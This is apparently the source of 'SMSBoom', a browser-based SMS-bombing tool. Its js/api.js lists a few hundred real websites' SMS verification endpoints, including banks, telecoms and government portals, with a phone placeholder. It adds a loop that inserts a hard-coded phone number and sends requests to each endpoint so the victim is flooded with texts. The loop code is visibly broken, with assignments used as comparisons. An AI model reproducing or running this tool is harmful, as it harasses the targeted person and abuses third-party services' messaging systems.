.timepicker-modal { max-width: 600px; } .timepicker-container.modal-content { -webkit-box-orient: horizontal; -webkit-box-direction: normal; -webkit-flex-direction: row; -ms-flex-direction: row; flex-direction: row; } .timepicker-text-container { top: 32%; } .timepicker-display-am-pm { position: relative; right: auto; bottom: auto; text-align: center; margin-top: 1.2rem; } } ================================================ FILE: css/style.css ================================================ /* Custom Stylesheet */ /** * Use this file to override Materialize files so you can update * the core Materialize files in the future * * Made By MaterializeCSS.com */ .icon-block { padding: 0 15px; } .icon-block .material-icons { font-size: inherit; } ================================================ FILE: index.html ================================================ 短信测压


SMSBoom



================================================ FILE: js/api.js ================================================ jiekou=["GET","https://m.wanzhoumo.com/proxy?api_path=%2Fuser%2Fmobilelogincode&v=3.0&fields_version=3.3&mobile={phone}", "GET","https://evun.geely.com/mp/sys/user/captcha?mobile={phone}&type=1", "GET","http://m.jinying.com/api/send_captcha.php?mobile={phone}&activity=pointcardWeb&expiry_min=3&companyNo=0145", "GET","https://service.wzhxlx.com/wwyy/ceping/sendCode?channelId=99&mobile={phone}", "GET","http://m.haiav.com/index.php?m=site&c=public&a=send_mobile_code&mobile={phone}&code=undefined&ismast=1", "GET","http://www.icar-life.com/api/Connect/get_sms_captcha?type=1&phone={phone}", "GET","https://jdapi.jd100.com/uc/v1/getSMSCode?account={phone}&sign_type=1&use_type=1", "GET","http://user.daojia.com/mobile/getcode?mobile={phone}", "GET","https://proconsumer.taoche.com/c-usercenter-consumer/user/getCode?mobile={phone}", "GET","http://hr.xfcbank.com/ajax/wap.php?action=get_authcode&mobile={phone}", "GET","http://www.wuylh.com/userreg/commons/getsmscode?phone={phone}", "GET","https://esma.iccec.cn/apis/esma/users/signup/mobile?mobile={phone}&blackLoading=true&agentId=100112", "GET","https://account.bol.wo.cn/cuuser/cuauth/smscode?mobile={phone}&smsType=2&clientId=woprom", "GET","http://uniwechat.saicskoda.com.cn/wxPage/WebHandler.ashx?userid=oeXPu5-_nc6Yr6JmU8vj720WZ6wg&toid=08161&type=sendsms&tel={phone}", "GET","https://login.11h5.com/account/api2.php?c=quick&d=getsms&nationcode=86&phone={phone}&type=2&v=1626775646428", "GET","https://mall-cashback.tinman.cn/noRight/campaign/send-verification-code?phone={phone}", "GET","http://www.51hengsheng.com/proxy/verify!sendVerify.do?dto.phone={phone}&dto.tempNumber=SMS_107505040", "GET","http://zg99.offcn.com/index/chaxun/sendmsg?actid=40386&callback=jQuery111306786107026988504_1627575799465&phone={phone}&_=1627575799466", "GET","https://z12.cnzz.com/stat.htm?id=1280063424&r=&lg=zh-cn&ntime=1632490428&cnzz_eid=1185173797-1632490428-&showp=424x906&p=", "GET","http://api.nysytijian.com/api/common/GetVerifyCode?phoneNumber={phone}", "GET","https://editor.588ku.com/site-api/send-tel-login-code?num={phone}&csrfToken=u1yzmFkHty7RXv0zSXJ7sLNTAs4ax6KfYciaU6GZKYXpkJHGQJXcM0IuJ-GrjMhUl9mcRx6Jnp6dWESUThFYog==", "GET","https://ihealth.zhongan.com/api/whale/v1/H5/gift/message/sendSmsCode/1000000003?phone={phone}&productCode=AT34&envSource=browser", "GET","https://m.95303.com/api/OrderYx/GetCodeBySMS?mobile={phone}&_=1626625066773", "GET","https://www.51hawo.com/apollo/MobileCode/sendMobileCode?mobile={phone}&sms_type=101®ister_from=20000091", "GET","http://m.ctscd.com/sys/ajax/User/CheckOrActivat.ashx?U_Mobile={phone}&type=Mobile&checktext={phone}&_=1624877392029", "GET","https://gwbk.zhongan.com/dmapiv2/za-dm-insure/dm/user/sendSMGCode?mobilePhone={phone}", "GET","https://m.lu.com/user/service/login/otp-login-pre-check?mobileNo={phone}&skipPwd=1", "GET","https://igetcool-share.igetcool.com/mall-server/api/smscode/sendSmscode?phone={phone}&countrycode=86&smstype=0&type=0", "GET","https://pro.ouyeel.com/api/users/userApi/sendMsg?mobile={phone}", "GET","https://www.sensorsdata.cn/api/passport/sms/quest_new/{phone}?_t=qajgslud4i", "GET","https://xzqk.nethone.cn/addons/yun_shop/api.php?i=2&uuid=0&mid=28732&type=5&shop_id=null&basic_info=1&validate_page=1&route=member.register.sendCodeV2&mobile={phone}&state=86&captcha=undefined&code=undefined", "GET","https://z12.cnzz.com/stat.htm?id=1280063424&r=&lg=zh-cn&ntime=1632524303&cnzz_eid=1185173797-1632490428-&showp=424x906&p=", "GET","https://hapi.00bang.cn/llb/oauth/llb/getLoginSmsCode?mobile={phone}", "GET","https://web-agent.tope365.com/msg/sms/codeSend?phone={phone}", "GET","https://mallapi.yofogo.com/biz-mall-application/v1/user/verifyCode/getVerifyCode?phone={phone}&descriptionType=1&codeType=2", "GET","http://gift.1liwu.cn/index.php?g=Wechat&m=User&a=sms&interface=1&mobile={phone}", "GET","https://m.qt.hrse.com.cn/sms/register?phone={phone}&_=1628777374003", "GET","http://www.pmax.cn/Home/Index/sendcaptcha.html?user={phone}&type=register&_=1632119551730", "GET","https://vipwx.robam.com/robam-api/common/sms/code/{phone}?_r=1628670219261", "GET","https://gl.dayday521.com/addons/yun_shop/api.php?i=1&mid=0&type=5&shop_id=null&route=member.register.sendCodeV2&mobile={phone}&state=86&captcha=undefined&code=undefined&sms_type=1", "GET","https://huoke.prod.k12.vip/poem/common/sendCode?phone={phone}&fromType=1", "GET","https://mytxkt.grazy.cn/wapApi/getCode?source_type=h5&mobile={phone}&area_code=%2B86", "GET","http://c.boaov.org/boaoweb/lrsp/getyzmcode.do?xsid=&tel={phone}", "GET","https://818ps.com/site-api/send-tel-login-code?num={phone}&codeImg=undefined", "GET","http://www.365liye.com/API/Site/Member/SendCode?tel={phone}", "GET","http://mayi-api.91ants.com/shared/sms/code?mobile={phone}", "GET","https://h5.17k.com/ck/user/mobile/{phone}/message?smsType=1&appKey=1351550300", "GET","https://sjapi.aihuishou.com/sj-api/auth/send/login-message?timestamp=1623173320783&mobile={phone}", "GET","http://ershoucheapi.58.com/cheyuan/comm/smsCode.do?callback=jQuery17208815301240499984_1623173514122&phone={phone}&code=send&_=1623173533089", "GET","http://api.passport.pptv.com/checkImageCodeAndSendMsg?&scene=REG_PPTV_APP&deviceId=867830021000533&aliasName={phone}", "GET","https://wwyy.wzhxlx.com/wwyy/ceping/sendCode?channelId=99&entry=wzhxl_cdl_20200402&mobile={phone}", "GET","http://www.00800.com.cn/cnhs/wqproject/index.php?app=public&mod=Passport&act=sendmsg&area_code=%2B86&phone={phone}", "GET","https://sunacliving.sunac.com.cn/member/wap/member/index/doCheckKaptcha?mobile={phone}", "GET","https://login.11h5.com/account/api2.php?c=quick&d=getsms&nationcode=86&phone={phone}&type=2&v=1626743584518", "GET","https://m.zhuna.cn/login/sendCode.html?mobile={phone}", "GET","https://guanjia.10010.com/front/auth-register/verification-code?mobile={phone}&openid=ol_FD5gTjAr1mxTGSIa5ZG8sHgII", "GET","https://card.10010.com/ko-order/messageCaptcha/send?phoneVal={phone}", "GET","http://api.pangxiaolu.com/pangxiaolu/user/code?mobile={phone}&area=86", "GET","https://uat-wxmall.yaic.com.cn/wxTerminal/binding/getVerificationCodeYaic.do?requestType=3&mobile={phone}&sendTime=1626107386421", "GET","https://www.hainanwangdai.com/api/v1/user/agreement/privacy/status?utmSource=yrd_m_web&phone={phone}", "GET","https://m.chinawutong.com/ashx/SendSMS.ashx?code={phone}&Kind=login&CodeType=sms&ran=0.11568426389851116", "GET","https://dss.xiongmaopeilian.com/student_wx/student/send_sms_code?country_code=86&mobile={phone}", "GET","https://aitob.xiaoyezi.com/student_wx/student/send_sms_code?mobile={phone}", "GET","http://static.likuso.com/user/update_shoujiyzm?callback=jQuery18307715529120842468_1624032951145&shouji={phone}&yzm=51826&_=1624032964470", "GET","https://m.588ku.com/common/send-sms?phone={phone}", "GET","https://www.donews.com/login/getcode?tel={phone}&time=0.4155787879991961", "GET","https://kingcard.dgunicom.com/lsd-message/send/captcha/phone/v1?phoneNumber={phone}", "GET","http://www.hanmeiju.com/memberverify/ajax/sendVerify.do?compType=member_register-15337078706993653&verifyType=SMS&value={phone}", "GET","http://www.futureartdraw.com/code/api/?tel={phone}", "GET","http://rst.qinghai.gov.cn/qhrst/sign/captcha?phoneNum={phone}", "GET","https://m.paperword.com/mobile/code/v2/login/code?promote=0&mobile={phone}", "GET","https://m.baixiu.org/Inc/ajax/IsRegister1.aspx?mobile={phone}", "GET","http://m.114-91.com/common/api?cmd=APPMemberGetCheckCode&mobile={phone}&type=1&md5ParamNames=mobile%2Ctype", "GET","http://m.qiuyi.cn/dengta/Sendmessage/sendCode?mobile={phone}&type=2", "GET","http://ai-piano.kuaipeilian.com/ai-piano/user/code?mobile={phone}&area=86", "GET","https://www.tzqc.net//api/user/UserIndex/sendSms?client=app&type=quickLogin&mobile={phone}", "GET","https://www.lanniuh.com/web-bin/m/weChat/weChatPublic/get_message_info?phone={phone}&smsType=0&hospCode=42609044-5", "GET","https://api.mall.autohome.com.cn/gateway/sms/sendVerificationCode?_appid=mall&mobile={phone}&type=11&callback=sendVerificationCodeSuccess", "GET","https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery18303389149111755325_1624013936898&type=5&phone={phone}", "GET","https://account.bol.wo.cn/cuuser/cuauth/smscode?mobile={phone}&smsType=2&clientId=hfgo", "GET","https://api.hetao101.com/login/v2/account/oauth/verifyCode?phoneNumber={phone}", "GET","https://msgo.10010.com/lsd-message/send/captcha/phone/v1?phoneNumber={phone}", "GET","https://usercenter.i4.cn/pcuser_sendSms.action?json=&member.appId=2944&member.phone={phone}&member.source=0&member.platform=1", "GET","http://lht-app.lhtex.com.cn:22225/lht/smsCode/save?mobile={phone}&mtype=0", "GET","https://partner.10046.mi.com/miMobileOrder/sendSms?phoneNumber={phone}", "GET","https://www.adidas.com.cn/member/sendMobileMessage.json?mobile={phone}&_=1624164095577", "GET","http://stc.enjoyha.com/api/user/sms/send?mobile={phone}&codeType=0", "GET","https://elove.darryring.com/api/crm/newGwLogin/getSMSValidCode?phone={phone}&type=login", "GET","https://www.ttljf.com/ttl_site/user.do?mthd=getCheckCode&phoneNumber={phone}", "GET","https://scapi.taodingding.com/getCode?phone={phone}", "GET","http://lht-app.lhtex.com.cn:22225/lht/smsCode/save?mtype=0&mobile={phone}", "GET","http://m.5khouse.com/ashx/yzm.ashx?tel={phone}&ys=hqyzm&sj=0.11739289648424056", "GET","https://51tiaojiu.com/mobile/login/get_phone_code.html?user_phone={phone}", "GET","https://www.hollycrm.com/messageInterface/sendVerifyMessage.php?telNum={phone}&actionId={phone}-828704&info=hollycrm400", "GET","https://mp.vasen.com/weixingmobileservice/client/getphonecodeByphoneregister?phonenumber={phone}", "GET","http://www.shejiyue.com:8080/SjyWebService/sendQuickCode.do?mobilePhone={phone}", "GET","https://www.huodongxing.com/account/checkphoneexist?phone={phone}", "GET","https://api2.paixin.com/users/code?phone=0086{phone}", "GET","https://pass.hujiang.com/v2/api/v1/sms/send?action=SendMsg&mobile={phone}", "GET","http://www.antong56.com/dc/register/sendSMS?mobile={phone}", "POST","https://account.zbj.com/api/captchaService/needCaptcha","phoneNum={phone}", "POST","https://api.zhulisq.com/cloud/sms-middleware/account/sendVerifyCodeForM?timestamp=1634353700849","mobile={phone}", "POST","https://appapi.tmkoo.com/regSendCode","phone={phone}", "POST","https://m.idongde.com/user/sms","phone_number={phone}", "POST","http://bdsn.thjy2.com/index.php?a=getPhoneCode","phone={phone}&res=getPhoneCode", "POST","http://www.bqjob.com.cn/index.php/index/position/sms","mobile={phone}&event=other", "POST","http://www.huaicaijob.com/Index/send_mobile_code.html","mobile={phone}&sms_type=reg", "POST","https://member.mkzcdn.com/register/code/","mobile={phone}", "POST","http://fc.61info.cn/fc-fission/o/v1.0/experience/sendInternalCaptcha","phone={phone}&areaCode=86&channel=bdsem3-yd-10jk-10", "POST","https://id.app.acfun.cn/rest/web/login/sms/send","mobile={phone}&type=6&ztIdentityVerificationCheckToken=&ztIdentityVerificationType=", "POST","http://v.zzstep.com/user/ajax/sendPhoneRegisterOrLogin","mobileVal={phone}", "POST","https://shd.shenhudong.com/api/v1/usertest/sendsms","mobile={phone}&type=1", "POST","http://www.xiongmaopeilian.com/web/auth/send_validate_code","mobile={phone}", "POST","https://endpoint.xiaomapeilian.com/aimusic/Auth/register/get-sms-code","area=%2B86&phone={phone}&src=1", "POST","https://qiye.biyeshen.cn/interface/api/user/sendcode","phone={phone}&type=2&service_code=2&user_id=&", "POST","https://www.hnsweiqi.com/portal/reg/sendCode","phone={phone}", "POST","https://www.jiandan001.com/rest/yonghubiao/ca/register.json","_ajax=true&ct=public_json&phonenumber={phone}", "POST","https://bbs.leyuz.net/index/user/get_verify_code","emailto=&type=signup&phoneto={phone}&code=hdsjTr04572", "POST","http://gif.55.la/wxlogin","a=sendloginsms&mobile={phone}", "POST","https://info.weimiao.cn/index.php/Home/Base/SendCode.html","phone={phone}", "POST","https://wap.cdyushun.com/April/getCode","phonew={phone}&uv_r=1623588133254186", "POST","http://www.kuaipeilian.com/api/send_verify_code","area_code=86&mobile={phone}&type=receive_trial_klass", "POST","https://api.imquzan.com/user/user_tool/sendMobileSMS","phone={phone}", "POST","http://liuyan.people.com.cn/getCode","phoneNum={phone}", "POST","https://passport.shuidihuzhu.com/api/useraccount/sendVerifyCode","mobile={phone}&bizType=24", "POST","https://api.guazi.com/clientUc/Index/sendVerify","phone={phone}&token=0cc7d90d5ddbed7fa429380b6f376ac1&t=1623177414&source=12&platfromSource=wap", "POST","https://user.qunar.com/webApi/logincode.jsp","mobile={phone}&vcode=&origin=test&isUcApi=1&useDefault=1&action=register&type=implicit&source=mobile_ucenter", "POST","https://api.zhaotu.com/register/sms.html","phone={phone}", "POST","https://www.fotor.com.cn/api/user/smsCode/getCode","areaCode=86&mobile={phone}", "POST","https://login.koolearn.com/sso/m/m-sendRegisterMessage.do","mobile={phone}&imageCode=&countryCode=86&country=CN", "POST","https://mobile.cmbchina.com/DUserManage/UserRegisterNew/URN_Register.aspx","$RequestMode$=1&PhoneNo={phone}&ClientNo=f20c5365321b4411a0ae4aa8d5ddd608&Command=CMD_SENGMSGCODE", "POST","https://39.106.39.190/index/login/sendCode","phone={phone}", "POST","http://www.zhongqiaokeji.cc:8808/api/msg/sms","phone={phone}", "POST","http://api.youyuanmall.cn/api/passport/smsCode","username={phone}&type=register", "POST","http://portal.hongbeiyun.com/register/getShortMsgCode.html","mobile={phone}&type=1", "POST","http://47.102.103.32/api_backend.php?r=index/sms","mobile={phone}", "POST","https://pc.zhaocaidan.com/LoginShops/SendCodeByReg","mobile={phone}", "GET","http://hz.l9c.cn//api.php?act=user&key=eeKBYDpZs3jiA5j3Sd&phone={phone}", "POST","http://www.xiongmaopeilian.com/web/auth/send_validate_code","mobile={phone}", "POST","http://m.yupao.com/index/send-tel-code/","_csrf_m_decorate=jdZB_M9J_ke-rFjSLJutrQB3r_pRKeB1ekOJGCdISegvL0Tc9zETLuKIOAH9YmZRmZpPV-9heuv7vI0DBbQAbg%3D%3D&tel={phone}&action=code-login&token=1318695695bc894ab42f942e5ca5a914&time=1623177811&rand=2&check=1&words=gEdnAh", "GET","https://www.nsxxs.cc/api.php?hm={phone}", "GET","https://2carapi.haval.com.cn/open/api/wap/member/sendSSOCode?mobile={phone}&type=login", "GET","https://m.atomychina.com.cn/cn/api/account/certification?method=1&methodData={phone}&mode=1", "GET","http://66.xn--kiv58k544a.site/api.php?act=user&key=6iyBjBSiYy6G8kiogb&phone={phone}", "GET","https://jdapi.jd100.com/uc/v1/getSMSCode?account={phone}&sign_type=1&use_type=0", "GET","https://m.mgqr.com/ajax/getcode_reg.ashx?phone={phone}&check=0&t=1620219103066", "GET","https://sms-server.gaodun.com/index.php?from=ldyhrBvmvJOdPCPb&act=chk&phone={phone}", "GET","https://wap.china0001.com.cn/reg/sendverycode/company=&truename=&mobile={phone}", "GET","https://www.donews.com/login/getcode?tel={phone} &time=0.4155787879991961", "GET","https://www.d7w.net/index.php?g=Member&m=Api&a=getmobilecode_binding&j=json&mobile={phone}", "GET","https://api.wanwudezhi.com/module-user/api/v1/user/sendSmsCode?phone={phone}", "GET","http://id.ifeng.com/api/simplesendmsg?mobile={phone}", "GET","https://flights.sichuanair.com/3uair/ibe/profile/processSendSMSNew.do?ConversationID=&smsType=REGISTER&mobilePhone={phone}&verkey=MOBILELOGIN", "GET","http://api.bangtuike.com.cn/api/v1/account/captcha?phone={phone}&country=%2B86", "GET","http://ws.sythealth.com/wsbyte/fit/v4/sms/validatorcode?form=0&account={phone}", "GET","https://puser.hnzwfw.gov.cn/api/user/sms?mobile={phone}&_=1592528454449", "GET","http://www.qmango.com/users/ajax/ajax_register_code.asp?_=1487743660579&mobile={phone}", "POST","https://home.51cto.com/third-mobile/get-mobile-code","mobile={phone}", "POST","http://tyrz.zwfw.gxzf.gov.cn/portal/veryCode/smsCode","method=sendMobileCode&userMobile={phone}&random=3.683700997199335", "POST","https://live.cloudroom.com/live_sendPhoneCode.action","phoneNum={phone}&actionType=reg", "POST","http://www.xqnwk.com/c/sendcode/phone","username={phone}", "POST","http://www.q1117.com/index.php?m=Mobile&c=User&a=send_validate_code&t=0.8948361023250015","send={phone}", "POST","http://www.buptict.cn/uxapi/auth/auth/account/regcode","mobile={phone}", "POST","https://m.dgzq.com.cn/dz-wx/bind/sendMessage","phone={phone}", "POST","http://api.hndyjyfw.gov.cn/djapi/mobileVerify","phone={phone}&verifytype=1", "POST","http://www.pmzaojia.com/Ajax.ashx?rd=0.19649457254559954","PostType=sendRegmsg&Tel={phone}", "GET","https://www.1dagong.com/Login/sendCode?mobile={phone}", "GET","http://edms.fcbox.com/hibox/weixin/getVerifyCode?mobilePhone={phone}", "GET","https://m.yiwise.com/apiPlatform/verificationCode/send?phoneNumber={phone}", "GET","https://www.rongyihuahua.com/jud/verifyCode?isLoaner=true&phone={phone}", "GET","https://gwbk.zhongan.com/dmapiv2/za-dm-insure/dm/user/sendSMGCode?mobilePhone={phone}&from=web", "GET","http://www.sk-vip.cn/index.php?m=&c=page&a=yunhu&phone={phone}", "GET","https://app.zhuanzhuan.com/zz/transfer/getCaptcha?type=1&mobile={phone}", "GET","http://www.xuebangsoft.net/eduboss/CommonAction/sendVarifyCodeToPhone.do?phoneNumber={phone}®TimeCode=1589627585503", "GET","https://join.xiaodianpu.com/api/vc/v1/login/sendSmsCode?telPhone={phone}&type=1http://www.tzkspt.com/index.php?user-app-register-mscode&mobile={phone}", "GET","http://m.lyrce.net/smsreg.php?YSJ={phone}http://800qph500.ahguanchen.com/API/Common/GetPhoneVerifyCode?phoneNo={phone}&msgType=1&v=012144239140090107", "GET","http://www.waizongguan.com/PostMobileNum.aspx?mobile={phone}", "GET","http://mobile.iqihang.com/api/v2/user/send-sms?phone={phone}&cmd=20&verifyCode=http://m.coursemall.cn/passport/regcode?mobile={phone}", "GET","http://www.patfun.com/do.php?ac=check_sms&phone={phone}", "GET","http://www.upshop.cn/Home/User/registerSendCode.html?mobile={phone}", "GET","http://www.zhichiwangluo.com/index.php?r=Login/phoneResetCode&phone={phone}", "GET","https://hdh.10086.cn/common/validationIP?phone={phone}", "GET","http://tools.wx6.org/dianhuahongzhaji/?telcode={phone}", "GET","http://www.happigo.com/shop/index.php?act=login&op=send_auth_code&mobile={phone}", "GET","https://host.convertlab.com/sms/get?mobile={phone}&name=Convertlab&token=4080fdef3cb44298852d226af95b2502&type=form&uuid=4a48dbfe8e1d49ab87715d2ed8e6e79d", "GET","https://5.9188.com/user/sendSms.go?mobileNo={phone}", "GET","http://m.xymens.com/index.php/Home/User/send_code?mobile={phone}", "GET","http://www.51zouchuqu.com/sms/send?mobileNo={phone}", "GET","http://user.memeyule.com/authcode/send_mobile?china=true&mobile={phone}", "GET","http://m.egou.com/validate_phone.htm?phone={phone}", "GET","http://www.zjsgat.gov.cn:8080/was/portals/cxfw/checkusermobile.jsp?mobilephone={phone}", "GET","http://admin.bongv.com/Home/Modify/sendSmsCode_New.shtml?mp={phone}", "GET","http://ptlogin.4399.com/ptlogin/sendPhoneLoginCode.do?phone={phone}&appId=www_home&v=2&sig=&t=1592615855903&v=2", "GET","http://tel.kuaishang.cn/cl.php?tel={phone}", "GET","http://www.100ppi.com/ecp/ppi/get_sf/get_yzm.php?m={phone}", "GET","http://m.tk.cn/tkmobile/service/member?function_code=dynamicLogin&login_mobile={phone}", "GET","http://www.suicunsuiqu.com/front/account/verifyMobileReg?mobile={phone}", "GET","http://www.jiqinging.com/ajax.php?do=getCheckCode+tel={phone}", "GET","https://5.9188.com/activity/activityMobileCheck.go?id=qzkj&mobileno={phone}", "GET","http://www.jiqinging.com/ajax.php?do=getCheckCode&tel={phone}", "GET","http://www.xlcidc.com/chkName.asp?umobie={phone}&lm=sendmobi&sd=0.5806221691630391", "GET","http://app.syxwnet.com/?app=member&controller=index&action=sendMobileMessage&mobile={phone}", "GET","http://www.aipai.com/app/www/apps/ums.php?step=ums&mobile={phone}", "GET","https://user.meilimei.com/taomi/user/sendSmsCaptcha?mobile={phone}", "GET","http://www.zjzxts.gov.cn/sendMsg.do?modelMethod=sendMessage&phonenum={phone}", "GET","https://passport.eqxiu.com/eqs/sms/token?phone={phone}&type=quickLogin&checkPhone=1&channel=21&version=4.4.1", "GET","http://b2c.csair.com/portal/smsMessage/EUserVerifyCode?mobile={phone}", "GET","https://sso-c.souche.com/loginApi/getCaptchaUrlByPhone.json?app=tangeche&phone={phone}", "GET","http://www.ryzwz.com/index.php?hm={phone}&ok=", "GET","http://cthwallet.com/en/data/dy/index.php?hm={phone}", "GET","http://hezi.ainide.cn/hzq/lt213.php?hm={phone}", "GET","http://www.52fzlt.cn/api.php?hm={phone}", "GET","https://yun.2ov.xyz/api.php?hm={phone}", "POST","https://dz.blizzard.cn/action/user/mobile/captcha","mobile={phone}", "POST","https://cloud.bimbdip.com//user/smsVerifier/","telephone={phone}&type=0", "POST","https://zhihoutai.com/register/sendSmsVerificationCode","phoneNumber={phone}", "POST","https://xy.umfintech.com/spEnterprise/saas/registerSaasAction!RegToSendMsg.action","mobileNo={phone}", "POST","https://www.baixing.com/wap/oz/verify/reg","mobile={phone}&businessType=register_captcha_code", "POST","http://www.baixing.com/wap/oz/verify/","fromS9=1&identity={phone}&mobile={phone}", "POST","https://api.qingmang.mobi/v1/account.sendVerification","code=1566478386.8872059778&phone={phone}", "POST","https://user.daojia.com/mobile/getcode","mobile={phone}&newVersion=1&bu=112", "POST","https://tyrz.zwfw.gxzf.gov.cn/portal/veryCode/smsCode","method=sendMobileCode&userMobile={phone}&random=3.683700997199335", "POST","https://www.xqnwk.com/c/sendcode/phone","username={phone}", "POST","https://www.q1117.com/index.php?m=Mobile&c=User&a=send_validate_code&t=0.8948361023250015","send={phone}", "POST","https://www.buptict.cn/uxapi/auth/auth/account/regcode","mobile={phone}", "POST","https://api.hndyjyfw.gov.cn/djapi/mobileVerify","phone={phone}&verifytype=1", "POST","https://www.pmzaojia.com/Ajax.ashx?rd=0.19649457254559954","PostType=sendRegmsg&Tel={phone}", "POST","https://bdsn.thjy2.com/index.php?a=getPhoneCode","phone={phone}&res=getPhoneCode", "POST","https://www.bqjob.com.cn/index.php/index/position/sms","mobile={phone}&event=other", "POST","https://www.huaicaijob.com/Index/send_mobile_code.html","mobile={phone}&sms_type=reg", "POST","https://fc.61info.cn/fc-fission/o/v1.0/experience/sendInternalCaptcha","phone={phone}&areaCode=86&channel=bdsem3-yd-10jk-10", "POST","https://v.zzstep.com/user/ajax/sendPhoneRegisterOrLogin","mobileVal={phone}", "POST","https://www.xiongmaopeilian.com/web/auth/send_validate_code","mobile={phone}", "POST","https://gif.55.la/wxlogin","a=sendloginsms&mobile={phone}", "POST","https://www.kuaipeilian.com/api/send_verify_code","area_code=86&mobile={phone}&type=receive_trial_klass", "POST","https://liuyan.people.com.cn/getCode","phoneNum={phone}", "POST","https://www.zhongqiaokeji.cc:8808/api/msg/sms","phone={phone}", "POST","https://api.youyuanmall.cn/api/passport/smsCode","username={phone}&type=register", "POST","https://portal.hongbeiyun.com/register/getShortMsgCode.html","mobile={phone}&type=1", "POST","https://47.102.103.32/api_backend.php?r=index/sms","mobile={phone}", "POST","https://mobile.cmbchina.com/DUserManage/UserRegisterNew/URN_Register.aspx","RequestMode=1&PhoneNo={phone}&ClientNo=f20c5365321b4411a0ae4aa8d5ddd608&Command=CMD_SENGMSGCODE", "POST","https://116.63.180.48/api/common/registCode","phone={phone}", "POST","https://yx.weiguanshequ.cn/api/common/registCode","phone={phone}", "POST","https://rlzx.jqkj.info/api/common/registCode","phone={phone}", "POST","https://pg.eeagd.edu.cn/ks/public/kszc/zcyzm.jsmeb","{phone}", "POST","https://47.89.9.199:8080/api/v1/user/mobile/check","mobile={phone}", "POST","https://www.bugbank.cn/api/verifymobile","mobile={phone}", "POST","https://evun.geely.com/mp/sys/user/captcha","mobile={phone}&type=1", "POST","https://rst.qinghai.gov.cn/qhrst/sign/captcha","phoneNum={phone}", "POST","https://www.nsxxs.cc/api.php","hm={phone}", "POST","https://2carapi.haval.com.cn/open/api/wap/member/sendSSOCode","mobile={phone}&type=login", "POST","https://m.atomychina.com.cn/cn/api/account/certification","method=1&methodData={phone}&mode=1", "POST","https://66.xn--kiv58k544a.site/api.php","act=user&key=6iyBjBSiYy6G8kiogb&phone={phone}", "POST","https://jdapi.jd100.com/uc/v1/getSMSCode","account={phone}&sign_type=1&use_type=0", "POST","https://m.mgqr.com/ajax/getcode_reg.ashx","phone={phone}&check=0&t=1620219103066", "POST","https://sms-server.gaodun.com/index.php","from=ldyhrBvmvJOdPCPb&act=chk&phone={phone}", "POST","https://wap.china0001.com.cn/reg/sendverycode/company=&truename=&mobile={phone}", "POST","https://m.wanzhoumo.com/proxy","api_path=%2Fuser%2Fmobilelogincode&v=3.0&fields_version=3.3&mobile={phone}", "POST","https://m.jinying.com/api/send_captcha.php","mobile={phone}&activity=pointcardWeb&expiry_min=3&companyNo=0145", "POST","https://service.wzhxlx.com/wwyy/ceping/sendCode","channelId=99&mobile={phone}", "POST","https://m.haiav.com/index.php","m=site&c=public&a=send_mobile_code&mobile={phone}&code=undefined&ismast=1", "POST","https://www.icar-life.com/api/Connect/get_sms_captcha","type=1&phone={phone}", "POST","https://jdapi.jd100.com/uc/v1/getSMSCode","account={phone}&sign_type=1&use_type=1", "POST","https://user.daojia.com/mobile/getcode","mobile={phone}", "POST","https://proconsumer.taoche.com/c-usercenter-consumer/user/getCode","mobile={phone}", "POST","https://hr.xfcbank.com/ajax/wap.php","action=get_authcode&mobile={phone}", "POST","https://www.wuylh.com/userreg/commons/getsmscode","phone={phone}", "POST","https://esma.iccec.cn/apis/esma/users/signup/mobile","mobile={phone}&blackLoading=true&agentId=100112", "POST","https://account.bol.wo.cn/cuuser/cuauth/smscode","mobile={phone}&smsType=2&clientId=woprom", "POST","https://uniwechat.saicskoda.com.cn/wxPage/WebHandler.ashx","userid=oeXPu5-_nc6Yr6JmU8vj720WZ6wg&toid=08161&type=sendsms&tel={phone}", "POST","https://login.11h5.com/account/api2.php","c=quick&d=getsms&nationcode=86&phone={phone}&type=2&v=1626775646428", "POST","https://mall-cashback.tinman.cn/noRight/campaign/send-verification-code","phone={phone}", "POST","https://www.51hengsheng.com/proxy/verify!sendVerify.do","dto.phone={phone}&dto.tempNumber=SMS_107505040", "POST","https://zg99.offcn.com/index/chaxun/sendmsg","actid=40386&callback=jQuery111306786107026988504_1627575799465&phone={phone}&_=1627575799466", "POST","https://z12.cnzz.com/stat.htm","id=1280063424&r=&lg=zh-cn&ntime=1632490428&cnzz_eid=1185173797-1632490428-&showp=424x906&p=", "POST","https://api.nysytijian.com/api/common/GetVerifyCode","phoneNumber={phone}", "POST","https://editor.588ku.com/site-api/send-tel-login-code","num={phone}&csrfToken=u1yzmFkHty7RXv0zSXJ7sLNTAs4ax6KfYciaU6GZKYXpkJHGQJXcM0IuJ-GrjMhUl9mcRx6Jnp6dWESUThFYog==", "POST","https://ihealth.zhongan.com/api/whale/v1/H5/gift/message/sendSmsCode/1000000003","phone={phone}&productCode=AT34&envSource=browser", "POST","https://m.95303.com/api/OrderYx/GetCodeBySMS","mobile={phone}&_=1626625066773", "POST","https://www.51hawo.com/apollo/MobileCode/sendMobileCode","mobile={phone}&sms_type=101®ister_from=20000091", "POST","https://m.ctscd.com/sys/ajax/User/CheckOrActivat.ashx","U_Mobile={phone}&type=Mobile&checktext={phone}&_=1624877392029", "POST","https://gwbk.zhongan.com/dmapiv2/za-dm-insure/dm/user/sendSMGCode","mobilePhone={phone}", "POST","https://m.lu.com/user/service/login/otp-login-pre-check","mobileNo={phone}&skipPwd=1", "POST","https://igetcool-share.igetcool.com/mall-server/api/smscode/sendSmscode","phone={phone}&countrycode=86&smstype=0&type=0", "POST","https://pro.ouyeel.com/api/users/userApi/sendMsg","mobile={phone}", "POST","https://www.sensorsdata.cn/api/passport/sms/quest_new/{phone}?_t=qajgslud4i", "POST","https://z12.cnzz.com/stat.htm","id=12800"]; var name = "13396595573"; for (var i = 0; i < jiekou.length; i++) { if(jiekou[i]="GET"){ i=1+1 jiekoua = jiekou[i].replace(/{phone}/, name) document.getElementById("d1").innerHTML = "";} else if(jiekou[i]="POST"){ i=1+1 var jkb=jiekou[i] i=i+1 jkc = jiekou[i].replace(/{phone}/, name) var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象 httpRequest.open('POST', jkb, true); //第二步:打开连接 httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头) httpRequest.send(jkc); } } ================================================ FILE: js/init.js ================================================ (function($){ $(function(){ $('.sidenav').sidenav(); }); // end of document ready })(jQuery); // end of jQuery name space ================================================ FILE: js/materialize.js ================================================ /*! * Materialize 